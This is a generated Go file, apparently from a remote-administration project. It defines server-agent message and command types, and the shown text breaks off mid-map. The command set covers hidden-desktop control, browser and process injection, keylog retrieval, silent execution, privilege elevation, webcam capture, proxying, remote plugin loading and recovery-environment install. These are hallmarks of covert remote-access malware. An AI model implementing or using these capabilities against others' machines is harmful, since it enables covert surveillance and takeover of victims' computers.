2026-07-30 12:38:28 -05:00
|
|
|
// Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT.
|
|
|
|
|
|
|
|
|
|
package wire
|
|
|
|
|
|
|
|
|
|
const (
|
|
|
|
|
WireSchemaVersion = 1
|
|
|
|
|
WireProtocolVersion = 1
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type MessageType string
|
|
|
|
|
|
|
|
|
|
const (
|
|
|
|
|
MessageBackstageBrowserCheckResult MessageType = "backstage_browser_check_result"
|
|
|
|
|
MessageBackstageBrowserLaunchStatus MessageType = "backstage_browser_launch_status"
|
|
|
|
|
MessageBackstageCloneProgress MessageType = "backstage_clone_progress"
|
|
|
|
|
MessageBackstageDxgiStatus MessageType = "backstage_dxgi_status"
|
|
|
|
|
MessageBackstageInstalledAppsResult MessageType = "backstage_installed_apps_result"
|
|
|
|
|
MessageBackstageLookupResult MessageType = "backstage_lookup_result"
|
|
|
|
|
MessageBackstageWindowListResult MessageType = "backstage_window_list_result"
|
|
|
|
|
MessageClientLogsResult MessageType = "client_logs_result"
|
|
|
|
|
MessageClipboardContent MessageType = "clipboard_content"
|
|
|
|
|
MessageCommand MessageType = "command"
|
|
|
|
|
MessageCommandAbort MessageType = "command_abort"
|
|
|
|
|
MessageCommandProgress MessageType = "command_progress"
|
|
|
|
|
MessageCommandResult MessageType = "command_result"
|
|
|
|
|
MessageConsoleOutput MessageType = "console_output"
|
|
|
|
|
MessageDesktopAudioUplink MessageType = "desktop_audio_uplink"
|
|
|
|
|
MessageDesktopCursor MessageType = "desktop_cursor"
|
|
|
|
|
MessageDesktopEncoderCapabilities MessageType = "desktop_encoder_capabilities"
|
|
|
|
|
MessageDesktopStreamStats MessageType = "desktop_stream_stats"
|
|
|
|
|
MessageDisconnectInfo MessageType = "disconnect_info"
|
|
|
|
|
MessageEnrollmentChallenge MessageType = "enrollment_challenge"
|
|
|
|
|
MessageEnrollmentStatus MessageType = "enrollment_status"
|
|
|
|
|
MessageFileDirsizeResult MessageType = "file_dirsize_result"
|
|
|
|
|
MessageFileDownload MessageType = "file_download"
|
|
|
|
|
MessageFileHashResult MessageType = "file_hash_result"
|
|
|
|
|
MessageFileIconResult MessageType = "file_icon_result"
|
|
|
|
|
MessageFileListResult MessageType = "file_list_result"
|
|
|
|
|
MessageFilePeekResult MessageType = "file_peek_result"
|
|
|
|
|
MessageFileReadResult MessageType = "file_read_result"
|
|
|
|
|
MessageFileSearchResult MessageType = "file_search_result"
|
|
|
|
|
MessageFileThumbResult MessageType = "file_thumb_result"
|
|
|
|
|
MessageFileUploadResult MessageType = "file_upload_result"
|
|
|
|
|
MessageFrame MessageType = "frame"
|
|
|
|
|
MessageFrameAck MessageType = "frame_ack"
|
|
|
|
|
MessageHello MessageType = "hello"
|
|
|
|
|
MessageHelloAck MessageType = "hello_ack"
|
|
|
|
|
MessageKeylogClearResult MessageType = "keylog_clear_result"
|
|
|
|
|
MessageKeylogDeleteResult MessageType = "keylog_delete_result"
|
|
|
|
|
MessageKeylogFileContent MessageType = "keylog_file_content"
|
|
|
|
|
MessageKeylogFileList MessageType = "keylog_file_list"
|
|
|
|
|
MessageKeylogPermissionResult MessageType = "keylog_permission_result"
|
|
|
|
|
MessageNotification MessageType = "notification"
|
|
|
|
|
MessageNotificationConfig MessageType = "notification_config"
|
|
|
|
|
MessagePing MessageType = "ping"
|
|
|
|
|
MessagePluginEvent MessageType = "plugin_event"
|
|
|
|
|
MessagePong MessageType = "pong"
|
|
|
|
|
MessageProcessIconResult MessageType = "process_icon_result"
|
|
|
|
|
MessageProcessListResult MessageType = "process_list_result"
|
|
|
|
|
MessageProxyClose MessageType = "proxy_close"
|
|
|
|
|
MessageProxyData MessageType = "proxy_data"
|
|
|
|
|
MessageScreenshotResult MessageType = "screenshot_result"
|
|
|
|
|
MessageScriptResult MessageType = "script_result"
|
|
|
|
|
MessageStatus MessageType = "status"
|
|
|
|
|
MessageVoiceUplink MessageType = "voice_uplink"
|
|
|
|
|
MessageWebcamDevices MessageType = "webcam_devices"
|
|
|
|
|
MessageWebrtcP2pAnswer MessageType = "webrtc_p2p_answer"
|
|
|
|
|
MessageWebrtcP2pIce MessageType = "webrtc_p2p_ice"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type CommandType string
|
|
|
|
|
|
|
|
|
|
const (
|
|
|
|
|
CommandAgentUpdate CommandType = "agent_update"
|
|
|
|
|
CommandBackstageBrowserCheck CommandType = "backstage_browser_check"
|
|
|
|
|
CommandBackstageEnableCursor CommandType = "backstage_enable_cursor"
|
|
|
|
|
CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi"
|
|
|
|
|
CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard"
|
|
|
|
|
CommandBackstageEnableMouse CommandType = "backstage_enable_mouse"
|
2026-07-30 19:41:45 -05:00
|
|
|
CommandBackstageEnablePrintwindowFallback CommandType = "backstage_enable_printwindow_fallback"
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandBackstageEnableUia CommandType = "backstage_enable_uia"
|
|
|
|
|
CommandBackstageInstalledApps CommandType = "backstage_installed_apps"
|
|
|
|
|
CommandBackstageKeyDown CommandType = "backstage_key_down"
|
|
|
|
|
CommandBackstageKeyUp CommandType = "backstage_key_up"
|
|
|
|
|
CommandBackstageKillAll CommandType = "backstage_kill_all"
|
|
|
|
|
CommandBackstageLookup CommandType = "backstage_lookup"
|
|
|
|
|
CommandBackstageMouseDown CommandType = "backstage_mouse_down"
|
|
|
|
|
CommandBackstageMouseMove CommandType = "backstage_mouse_move"
|
|
|
|
|
CommandBackstageMouseUp CommandType = "backstage_mouse_up"
|
|
|
|
|
CommandBackstageMouseWheel CommandType = "backstage_mouse_wheel"
|
|
|
|
|
CommandBackstageRequestKeyframe CommandType = "backstage_request_keyframe"
|
|
|
|
|
CommandBackstageSelectDisplay CommandType = "backstage_select_display"
|
|
|
|
|
CommandBackstageSetFps CommandType = "backstage_set_fps"
|
|
|
|
|
CommandBackstageSetQuality CommandType = "backstage_set_quality"
|
|
|
|
|
CommandBackstageSetResolution CommandType = "backstage_set_resolution"
|
|
|
|
|
CommandBackstageStart CommandType = "backstage_start"
|
|
|
|
|
CommandBackstageStartBrowserInjected CommandType = "backstage_start_browser_injected"
|
|
|
|
|
CommandBackstageStartChromeInjected CommandType = "backstage_start_chrome_injected"
|
|
|
|
|
CommandBackstageStartProcess CommandType = "backstage_start_process"
|
|
|
|
|
CommandBackstageStartProcessInjected CommandType = "backstage_start_process_injected"
|
|
|
|
|
CommandBackstageStop CommandType = "backstage_stop"
|
|
|
|
|
CommandBackstageWindowList CommandType = "backstage_window_list"
|
|
|
|
|
CommandClientLogsRequest CommandType = "client_logs_request"
|
|
|
|
|
CommandClipboardSet CommandType = "clipboard_set"
|
|
|
|
|
CommandClipboardSyncStart CommandType = "clipboard_sync_start"
|
|
|
|
|
CommandClipboardSyncStop CommandType = "clipboard_sync_stop"
|
|
|
|
|
CommandConsoleInput CommandType = "console_input"
|
|
|
|
|
CommandConsoleResize CommandType = "console_resize"
|
|
|
|
|
CommandConsoleStart CommandType = "console_start"
|
|
|
|
|
CommandConsoleStop CommandType = "console_stop"
|
|
|
|
|
CommandDarwinRequestPermissions CommandType = "darwin_request_permissions"
|
|
|
|
|
CommandDesktopAudioStart CommandType = "desktop_audio_start"
|
|
|
|
|
CommandDesktopAudioStop CommandType = "desktop_audio_stop"
|
|
|
|
|
CommandDesktopEnableCursor CommandType = "desktop_enable_cursor"
|
|
|
|
|
CommandDesktopEnableKeyboard CommandType = "desktop_enable_keyboard"
|
|
|
|
|
CommandDesktopEnableMouse CommandType = "desktop_enable_mouse"
|
|
|
|
|
CommandDesktopEncoderCapabilities CommandType = "desktop_encoder_capabilities"
|
|
|
|
|
CommandDesktopKeyDown CommandType = "desktop_key_down"
|
|
|
|
|
CommandDesktopKeyUp CommandType = "desktop_key_up"
|
|
|
|
|
CommandDesktopMouseDown CommandType = "desktop_mouse_down"
|
|
|
|
|
CommandDesktopMouseMove CommandType = "desktop_mouse_move"
|
|
|
|
|
CommandDesktopMouseUp CommandType = "desktop_mouse_up"
|
|
|
|
|
CommandDesktopMouseWheel CommandType = "desktop_mouse_wheel"
|
|
|
|
|
CommandDesktopRequestKeyframe CommandType = "desktop_request_keyframe"
|
|
|
|
|
CommandDesktopSelectDisplay CommandType = "desktop_select_display"
|
|
|
|
|
CommandDesktopSetBitrate CommandType = "desktop_set_bitrate"
|
|
|
|
|
CommandDesktopSetDuplication CommandType = "desktop_set_duplication"
|
|
|
|
|
CommandDesktopSetFps CommandType = "desktop_set_fps"
|
|
|
|
|
CommandDesktopSetProfile CommandType = "desktop_set_profile"
|
|
|
|
|
CommandDesktopSetQuality CommandType = "desktop_set_quality"
|
|
|
|
|
CommandDesktopSetResolution CommandType = "desktop_set_resolution"
|
|
|
|
|
CommandDesktopStart CommandType = "desktop_start"
|
|
|
|
|
CommandDesktopStop CommandType = "desktop_stop"
|
|
|
|
|
CommandDesktopText CommandType = "desktop_text"
|
|
|
|
|
CommandDisconnect CommandType = "disconnect"
|
|
|
|
|
CommandElevate CommandType = "elevate"
|
|
|
|
|
CommandFileChmod CommandType = "file_chmod"
|
|
|
|
|
CommandFileCopy CommandType = "file_copy"
|
|
|
|
|
CommandFileDelete CommandType = "file_delete"
|
|
|
|
|
CommandFileDirsize CommandType = "file_dirsize"
|
|
|
|
|
CommandFileDownload CommandType = "file_download"
|
|
|
|
|
CommandFileExecute CommandType = "file_execute"
|
|
|
|
|
CommandFileHash CommandType = "file_hash"
|
|
|
|
|
CommandFileIcon CommandType = "file_icon"
|
|
|
|
|
CommandFileList CommandType = "file_list"
|
|
|
|
|
CommandFileMkdir CommandType = "file_mkdir"
|
|
|
|
|
CommandFileMove CommandType = "file_move"
|
|
|
|
|
CommandFilePeek CommandType = "file_peek"
|
|
|
|
|
CommandFileRead CommandType = "file_read"
|
|
|
|
|
CommandFileRequestAccess CommandType = "file_request_access"
|
|
|
|
|
CommandFileSearch CommandType = "file_search"
|
|
|
|
|
CommandFileThumb CommandType = "file_thumb"
|
|
|
|
|
CommandFileUpload CommandType = "file_upload"
|
2026-08-03 23:29:16 -05:00
|
|
|
CommandFileUploadDesktop CommandType = "file_upload_desktop"
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandFileUploadHttp CommandType = "file_upload_http"
|
|
|
|
|
CommandFileWrite CommandType = "file_write"
|
|
|
|
|
CommandFileZip CommandType = "file_zip"
|
|
|
|
|
CommandKeylogClearAll CommandType = "keylog_clear_all"
|
|
|
|
|
CommandKeylogDelete CommandType = "keylog_delete"
|
|
|
|
|
CommandKeylogList CommandType = "keylog_list"
|
|
|
|
|
CommandKeylogRequestPermission CommandType = "keylog_request_permission"
|
|
|
|
|
CommandKeylogRetrieve CommandType = "keylog_retrieve"
|
|
|
|
|
CommandPluginLoad CommandType = "plugin_load"
|
|
|
|
|
CommandPluginLoadHttp CommandType = "plugin_load_http"
|
|
|
|
|
CommandPluginUnload CommandType = "plugin_unload"
|
|
|
|
|
CommandPrivacyStart CommandType = "privacy_start"
|
|
|
|
|
CommandPrivacyStatus CommandType = "privacy_status"
|
|
|
|
|
CommandPrivacyStop CommandType = "privacy_stop"
|
|
|
|
|
CommandProcessIcon CommandType = "process_icon"
|
|
|
|
|
CommandProcessKill CommandType = "process_kill"
|
|
|
|
|
CommandProcessList CommandType = "process_list"
|
|
|
|
|
CommandProcessResume CommandType = "process_resume"
|
|
|
|
|
CommandProcessSuspend CommandType = "process_suspend"
|
|
|
|
|
CommandProxyClose CommandType = "proxy_close"
|
|
|
|
|
CommandProxyConnect CommandType = "proxy_connect"
|
|
|
|
|
CommandProxyData CommandType = "proxy_data"
|
|
|
|
|
CommandReconnect CommandType = "reconnect"
|
|
|
|
|
CommandScreenshot CommandType = "screenshot"
|
|
|
|
|
CommandScriptExec CommandType = "script_exec"
|
|
|
|
|
CommandSilentExec CommandType = "silent_exec"
|
|
|
|
|
CommandUninstall CommandType = "uninstall"
|
|
|
|
|
CommandVirtualEnableCursor CommandType = "virtual_enable_cursor"
|
|
|
|
|
CommandVirtualEnableKeyboard CommandType = "virtual_enable_keyboard"
|
|
|
|
|
CommandVirtualEnableMouse CommandType = "virtual_enable_mouse"
|
|
|
|
|
CommandVirtualKeyDown CommandType = "virtual_key_down"
|
|
|
|
|
CommandVirtualKeyUp CommandType = "virtual_key_up"
|
|
|
|
|
CommandVirtualKillAll CommandType = "virtual_kill_all"
|
|
|
|
|
CommandVirtualMouseDown CommandType = "virtual_mouse_down"
|
|
|
|
|
CommandVirtualMouseMove CommandType = "virtual_mouse_move"
|
|
|
|
|
CommandVirtualMouseUp CommandType = "virtual_mouse_up"
|
|
|
|
|
CommandVirtualMouseWheel CommandType = "virtual_mouse_wheel"
|
|
|
|
|
CommandVirtualRequestKeyframe CommandType = "virtual_request_keyframe"
|
|
|
|
|
CommandVirtualSetFps CommandType = "virtual_set_fps"
|
|
|
|
|
CommandVirtualSetQuality CommandType = "virtual_set_quality"
|
|
|
|
|
CommandVirtualStart CommandType = "virtual_start"
|
|
|
|
|
CommandVirtualStartProcess CommandType = "virtual_start_process"
|
|
|
|
|
CommandVirtualStop CommandType = "virtual_stop"
|
|
|
|
|
CommandVirtualWindowList CommandType = "virtual_window_list"
|
|
|
|
|
CommandVoiceCapabilities CommandType = "voice_capabilities"
|
|
|
|
|
CommandVoiceDownlink CommandType = "voice_downlink"
|
|
|
|
|
CommandVoiceSessionStart CommandType = "voice_session_start"
|
|
|
|
|
CommandVoiceSessionStop CommandType = "voice_session_stop"
|
|
|
|
|
CommandWebcamList CommandType = "webcam_list"
|
|
|
|
|
CommandWebcamSelect CommandType = "webcam_select"
|
|
|
|
|
CommandWebcamSetFps CommandType = "webcam_set_fps"
|
|
|
|
|
CommandWebcamSetQuality CommandType = "webcam_set_quality"
|
|
|
|
|
CommandWebcamStart CommandType = "webcam_start"
|
|
|
|
|
CommandWebcamStop CommandType = "webcam_stop"
|
|
|
|
|
CommandWebrtcP2pIce CommandType = "webrtc_p2p_ice"
|
|
|
|
|
CommandWebrtcP2pOffer CommandType = "webrtc_p2p_offer"
|
|
|
|
|
CommandWebrtcP2pStop CommandType = "webrtc_p2p_stop"
|
|
|
|
|
CommandWebrtcPublish CommandType = "webrtc_publish"
|
|
|
|
|
CommandWebrtcStop CommandType = "webrtc_stop"
|
|
|
|
|
CommandWinreInstall CommandType = "winre_install"
|
|
|
|
|
CommandWinreProbe CommandType = "winre_probe"
|
|
|
|
|
CommandWinreUninstall CommandType = "winre_uninstall"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
var AgentToServerMessageTypes = [...]MessageType{
|
|
|
|
|
MessageBackstageBrowserCheckResult,
|
|
|
|
|
MessageBackstageBrowserLaunchStatus,
|
|
|
|
|
MessageBackstageCloneProgress,
|
|
|
|
|
MessageBackstageDxgiStatus,
|
|
|
|
|
MessageBackstageInstalledAppsResult,
|
|
|
|
|
MessageBackstageLookupResult,
|
|
|
|
|
MessageBackstageWindowListResult,
|
|
|
|
|
MessageClientLogsResult,
|
|
|
|
|
MessageClipboardContent,
|
|
|
|
|
MessageCommandProgress,
|
|
|
|
|
MessageCommandResult,
|
|
|
|
|
MessageConsoleOutput,
|
|
|
|
|
MessageDesktopAudioUplink,
|
|
|
|
|
MessageDesktopCursor,
|
|
|
|
|
MessageDesktopEncoderCapabilities,
|
|
|
|
|
MessageDesktopStreamStats,
|
|
|
|
|
MessageDisconnectInfo,
|
|
|
|
|
MessageFileDirsizeResult,
|
|
|
|
|
MessageFileDownload,
|
|
|
|
|
MessageFileHashResult,
|
|
|
|
|
MessageFileIconResult,
|
|
|
|
|
MessageFileListResult,
|
|
|
|
|
MessageFilePeekResult,
|
|
|
|
|
MessageFileReadResult,
|
|
|
|
|
MessageFileSearchResult,
|
|
|
|
|
MessageFileThumbResult,
|
|
|
|
|
MessageFileUploadResult,
|
|
|
|
|
MessageFrame,
|
|
|
|
|
MessageHello,
|
|
|
|
|
MessageKeylogClearResult,
|
|
|
|
|
MessageKeylogDeleteResult,
|
|
|
|
|
MessageKeylogFileContent,
|
|
|
|
|
MessageKeylogFileList,
|
|
|
|
|
MessageKeylogPermissionResult,
|
|
|
|
|
MessageNotification,
|
|
|
|
|
MessagePing,
|
|
|
|
|
MessagePluginEvent,
|
|
|
|
|
MessagePong,
|
|
|
|
|
MessageProcessIconResult,
|
|
|
|
|
MessageProcessListResult,
|
|
|
|
|
MessageProxyClose,
|
|
|
|
|
MessageProxyData,
|
|
|
|
|
MessageScreenshotResult,
|
|
|
|
|
MessageScriptResult,
|
|
|
|
|
MessageStatus,
|
|
|
|
|
MessageVoiceUplink,
|
|
|
|
|
MessageWebcamDevices,
|
|
|
|
|
MessageWebrtcP2pAnswer,
|
|
|
|
|
MessageWebrtcP2pIce,
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var ServerToAgentMessageTypes = [...]MessageType{
|
|
|
|
|
MessageCommand,
|
|
|
|
|
MessageCommandAbort,
|
|
|
|
|
MessageEnrollmentChallenge,
|
|
|
|
|
MessageEnrollmentStatus,
|
|
|
|
|
MessageFrameAck,
|
|
|
|
|
MessageHelloAck,
|
|
|
|
|
MessageNotificationConfig,
|
|
|
|
|
MessagePing,
|
|
|
|
|
MessagePluginEvent,
|
|
|
|
|
MessagePong,
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var CommandTypes = [...]CommandType{
|
|
|
|
|
CommandAgentUpdate,
|
|
|
|
|
CommandBackstageBrowserCheck,
|
|
|
|
|
CommandBackstageEnableCursor,
|
|
|
|
|
CommandBackstageEnableDxgi,
|
|
|
|
|
CommandBackstageEnableKeyboard,
|
|
|
|
|
CommandBackstageEnableMouse,
|
2026-07-30 19:41:45 -05:00
|
|
|
CommandBackstageEnablePrintwindowFallback,
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandBackstageEnableUia,
|
|
|
|
|
CommandBackstageInstalledApps,
|
|
|
|
|
CommandBackstageKeyDown,
|
|
|
|
|
CommandBackstageKeyUp,
|
|
|
|
|
CommandBackstageKillAll,
|
|
|
|
|
CommandBackstageLookup,
|
|
|
|
|
CommandBackstageMouseDown,
|
|
|
|
|
CommandBackstageMouseMove,
|
|
|
|
|
CommandBackstageMouseUp,
|
|
|
|
|
CommandBackstageMouseWheel,
|
|
|
|
|
CommandBackstageRequestKeyframe,
|
|
|
|
|
CommandBackstageSelectDisplay,
|
|
|
|
|
CommandBackstageSetFps,
|
|
|
|
|
CommandBackstageSetQuality,
|
|
|
|
|
CommandBackstageSetResolution,
|
|
|
|
|
CommandBackstageStart,
|
|
|
|
|
CommandBackstageStartBrowserInjected,
|
|
|
|
|
CommandBackstageStartChromeInjected,
|
|
|
|
|
CommandBackstageStartProcess,
|
|
|
|
|
CommandBackstageStartProcessInjected,
|
|
|
|
|
CommandBackstageStop,
|
|
|
|
|
CommandBackstageWindowList,
|
|
|
|
|
CommandClientLogsRequest,
|
|
|
|
|
CommandClipboardSet,
|
|
|
|
|
CommandClipboardSyncStart,
|
|
|
|
|
CommandClipboardSyncStop,
|
|
|
|
|
CommandConsoleInput,
|
|
|
|
|
CommandConsoleResize,
|
|
|
|
|
CommandConsoleStart,
|
|
|
|
|
CommandConsoleStop,
|
|
|
|
|
CommandDarwinRequestPermissions,
|
|
|
|
|
CommandDesktopAudioStart,
|
|
|
|
|
CommandDesktopAudioStop,
|
|
|
|
|
CommandDesktopEnableCursor,
|
|
|
|
|
CommandDesktopEnableKeyboard,
|
|
|
|
|
CommandDesktopEnableMouse,
|
|
|
|
|
CommandDesktopEncoderCapabilities,
|
|
|
|
|
CommandDesktopKeyDown,
|
|
|
|
|
CommandDesktopKeyUp,
|
|
|
|
|
CommandDesktopMouseDown,
|
|
|
|
|
CommandDesktopMouseMove,
|
|
|
|
|
CommandDesktopMouseUp,
|
|
|
|
|
CommandDesktopMouseWheel,
|
|
|
|
|
CommandDesktopRequestKeyframe,
|
|
|
|
|
CommandDesktopSelectDisplay,
|
|
|
|
|
CommandDesktopSetBitrate,
|
|
|
|
|
CommandDesktopSetDuplication,
|
|
|
|
|
CommandDesktopSetFps,
|
|
|
|
|
CommandDesktopSetProfile,
|
|
|
|
|
CommandDesktopSetQuality,
|
|
|
|
|
CommandDesktopSetResolution,
|
|
|
|
|
CommandDesktopStart,
|
|
|
|
|
CommandDesktopStop,
|
|
|
|
|
CommandDesktopText,
|
|
|
|
|
CommandDisconnect,
|
|
|
|
|
CommandElevate,
|
|
|
|
|
CommandFileChmod,
|
|
|
|
|
CommandFileCopy,
|
|
|
|
|
CommandFileDelete,
|
|
|
|
|
CommandFileDirsize,
|
|
|
|
|
CommandFileDownload,
|
|
|
|
|
CommandFileExecute,
|
|
|
|
|
CommandFileHash,
|
|
|
|
|
CommandFileIcon,
|
|
|
|
|
CommandFileList,
|
|
|
|
|
CommandFileMkdir,
|
|
|
|
|
CommandFileMove,
|
|
|
|
|
CommandFilePeek,
|
|
|
|
|
CommandFileRead,
|
|
|
|
|
CommandFileRequestAccess,
|
|
|
|
|
CommandFileSearch,
|
|
|
|
|
CommandFileThumb,
|
|
|
|
|
CommandFileUpload,
|
2026-08-03 23:29:16 -05:00
|
|
|
CommandFileUploadDesktop,
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandFileUploadHttp,
|
|
|
|
|
CommandFileWrite,
|
|
|
|
|
CommandFileZip,
|
|
|
|
|
CommandKeylogClearAll,
|
|
|
|
|
CommandKeylogDelete,
|
|
|
|
|
CommandKeylogList,
|
|
|
|
|
CommandKeylogRequestPermission,
|
|
|
|
|
CommandKeylogRetrieve,
|
|
|
|
|
CommandPluginLoad,
|
|
|
|
|
CommandPluginLoadHttp,
|
|
|
|
|
CommandPluginUnload,
|
|
|
|
|
CommandPrivacyStart,
|
|
|
|
|
CommandPrivacyStatus,
|
|
|
|
|
CommandPrivacyStop,
|
|
|
|
|
CommandProcessIcon,
|
|
|
|
|
CommandProcessKill,
|
|
|
|
|
CommandProcessList,
|
|
|
|
|
CommandProcessResume,
|
|
|
|
|
CommandProcessSuspend,
|
|
|
|
|
CommandProxyClose,
|
|
|
|
|
CommandProxyConnect,
|
|
|
|
|
CommandProxyData,
|
|
|
|
|
CommandReconnect,
|
|
|
|
|
CommandScreenshot,
|
|
|
|
|
CommandScriptExec,
|
|
|
|
|
CommandSilentExec,
|
|
|
|
|
CommandUninstall,
|
|
|
|
|
CommandVirtualEnableCursor,
|
|
|
|
|
CommandVirtualEnableKeyboard,
|
|
|
|
|
CommandVirtualEnableMouse,
|
|
|
|
|
CommandVirtualKeyDown,
|
|
|
|
|
CommandVirtualKeyUp,
|
|
|
|
|
CommandVirtualKillAll,
|
|
|
|
|
CommandVirtualMouseDown,
|
|
|
|
|
CommandVirtualMouseMove,
|
|
|
|
|
CommandVirtualMouseUp,
|
|
|
|
|
CommandVirtualMouseWheel,
|
|
|
|
|
CommandVirtualRequestKeyframe,
|
|
|
|
|
CommandVirtualSetFps,
|
|
|
|
|
CommandVirtualSetQuality,
|
|
|
|
|
CommandVirtualStart,
|
|
|
|
|
CommandVirtualStartProcess,
|
|
|
|
|
CommandVirtualStop,
|
|
|
|
|
CommandVirtualWindowList,
|
|
|
|
|
CommandVoiceCapabilities,
|
|
|
|
|
CommandVoiceDownlink,
|
|
|
|
|
CommandVoiceSessionStart,
|
|
|
|
|
CommandVoiceSessionStop,
|
|
|
|
|
CommandWebcamList,
|
|
|
|
|
CommandWebcamSelect,
|
|
|
|
|
CommandWebcamSetFps,
|
|
|
|
|
CommandWebcamSetQuality,
|
|
|
|
|
CommandWebcamStart,
|
|
|
|
|
CommandWebcamStop,
|
|
|
|
|
CommandWebrtcP2pIce,
|
|
|
|
|
CommandWebrtcP2pOffer,
|
|
|
|
|
CommandWebrtcP2pStop,
|
|
|
|
|
CommandWebrtcPublish,
|
|
|
|
|
CommandWebrtcStop,
|
|
|
|
|
CommandWinreInstall,
|
|
|
|
|
CommandWinreProbe,
|
|
|
|
|
CommandWinreUninstall,
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type CommandVersionRange struct {
|
|
|
|
|
Min int `msgpack:"min" json:"min"`
|
|
|
|
|
Max int `msgpack:"max" json:"max"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var CommandVersionSupport = map[CommandType]CommandVersionRange{
|
|
|
|
|
CommandAgentUpdate: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageBrowserCheck: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageEnableCursor: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageEnableDxgi: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageEnableKeyboard: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageEnableMouse: {Min: 1, Max: 1},
|
2026-07-30 19:41:45 -05:00
|
|
|
CommandBackstageEnablePrintwindowFallback: {Min: 1, Max: 1},
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandBackstageEnableUia: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageInstalledApps: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageKeyDown: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageKeyUp: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageKillAll: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageLookup: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageMouseDown: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageMouseMove: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageMouseUp: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageMouseWheel: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageRequestKeyframe: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageSelectDisplay: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageSetFps: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageSetQuality: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageSetResolution: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageStart: {Min: 1, Max: 1},
|
2026-08-20 09:01:27 -05:00
|
|
|
CommandBackstageStartBrowserInjected: {Min: 1, Max: 2},
|
|
|
|
|
CommandBackstageStartChromeInjected: {Min: 1, Max: 2},
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandBackstageStartProcess: {Min: 1, Max: 1},
|
2026-08-20 09:01:27 -05:00
|
|
|
CommandBackstageStartProcessInjected: {Min: 1, Max: 2},
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandBackstageStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandBackstageWindowList: {Min: 1, Max: 1},
|
|
|
|
|
CommandClientLogsRequest: {Min: 1, Max: 1},
|
|
|
|
|
CommandClipboardSet: {Min: 1, Max: 1},
|
|
|
|
|
CommandClipboardSyncStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandClipboardSyncStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandConsoleInput: {Min: 1, Max: 1},
|
|
|
|
|
CommandConsoleResize: {Min: 1, Max: 1},
|
|
|
|
|
CommandConsoleStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandConsoleStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandDarwinRequestPermissions: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopAudioStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopAudioStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopEnableCursor: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopEnableKeyboard: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopEnableMouse: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopEncoderCapabilities: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopKeyDown: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopKeyUp: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopMouseDown: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopMouseMove: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopMouseUp: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopMouseWheel: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopRequestKeyframe: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSelectDisplay: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSetBitrate: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSetDuplication: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSetFps: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSetProfile: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSetQuality: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopSetResolution: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandDesktopText: {Min: 1, Max: 1},
|
|
|
|
|
CommandDisconnect: {Min: 1, Max: 1},
|
|
|
|
|
CommandElevate: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileChmod: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileCopy: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileDelete: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileDirsize: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileDownload: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileExecute: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileHash: {Min: 1, Max: 1},
|
|
|
